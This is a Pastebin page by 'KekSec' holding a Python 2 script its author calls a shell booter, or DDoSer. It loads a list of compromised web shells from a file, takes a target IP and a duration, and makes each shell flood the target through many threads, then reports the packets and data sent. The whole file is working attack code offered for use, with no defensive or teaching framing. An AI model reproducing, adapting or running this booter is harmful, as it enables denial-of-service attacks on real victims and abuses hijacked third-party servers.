Advertisement
KekSec

Python shell booter

Dec 20th, 2016
1,404
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.06 KB | None | 0 0
  1. #booter.py
  2. #Made by Freak/SynthMesc
  3. #1.0
  4.  
  5. import urllib, thread, time, os, re
  6.  
  7. print 'Loading Shells'
  8. try:
  9.         f=open("shells.txt","r")
  10.         hosts = f.read()
  11.         f.close()
  12. except:
  13.         print 'Unable to load shells. Exiting'
  14.         exit()
  15.  
  16.  
  17.  
  18.  
  19.  
  20. threads = 0
  21.  
  22. packets = 0
  23.  
  24. hosts = hosts.split()
  25.  
  26. mbs = float(0.00)
  27. count = 0
  28. print 'Shell booter(DDoSer) by Freak/SynthMesc'
  29. print len(hosts), 'Shells Loaded.\n'
  30. ip = raw_input("IP: ")
  31.  
  32. seconds = input("Time: ")
  33.  
  34.  
  35. seconds=str(seconds)
  36.  
  37.  
  38. def fire(host):
  39.     global ip
  40.     global seconds
  41.     global threads
  42.     global mbs
  43.     global packets
  44.     threads += 1
  45.     try:
  46.         reply = urllib.urlopen(host+"?host="+ip+"&time="+seconds).read()
  47.         reply = re.sub("\D", "", reply)
  48.         if len(str(reply))>=10:
  49.             threads -= 1
  50.             print host + " did not give valid response!"
  51.             return
  52.         if "<html>" in reply:
  53.             threads -= 1
  54.             print host + " is not a valid shell!"
  55.             return
  56.         packets += int(reply)
  57.         mb = (((int(reply)*65500)/1024)/1024)
  58.         try:
  59.             mbs += mb
  60.         except ValueError:
  61.             pass
  62.     except IOError:
  63.         pass
  64.  
  65.  
  66.     threads -= 1
  67.  
  68. for host in hosts:
  69.     while threads >= 600:
  70.         time.sleep(0.2)
  71.     thread.start_new_thread(fire,(host,))
  72. while count < (int(seconds)) :
  73.     print (int(seconds) - count), 'Seconds remaining'
  74.     time.sleep(1)
  75.     count += 1
  76. print 'Stopping...'
  77. time.sleep(5)
  78. while threads <= 1:
  79.     print 'Waiting on', threads,'more to finish...'
  80.     time.sleep(1)
  81.     if threads == 0:
  82.         break
  83. print
  84.  
  85. gb = mbs / 1024
  86.  
  87. accuracy = 3 #accuracy of output
  88.  
  89. mbs = float(str(mbs).split(".")[0] + "." + str(mbs).split(".")[1][0:accuracy])
  90. gb = float(str(gb).split(".")[0] + "." + str(gb).split(".")[1][0:accuracy])
  91.  
  92. print str(packets) + " packets sent " + str(packets/int(seconds)) + " packets/s"
  93. print str(mbs) + " MB sent " + str(mbs/float(seconds)) + " MB/s "
  94. print str(gb) + " GB sent " + str(gb/ float(seconds)) + " GB/s"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement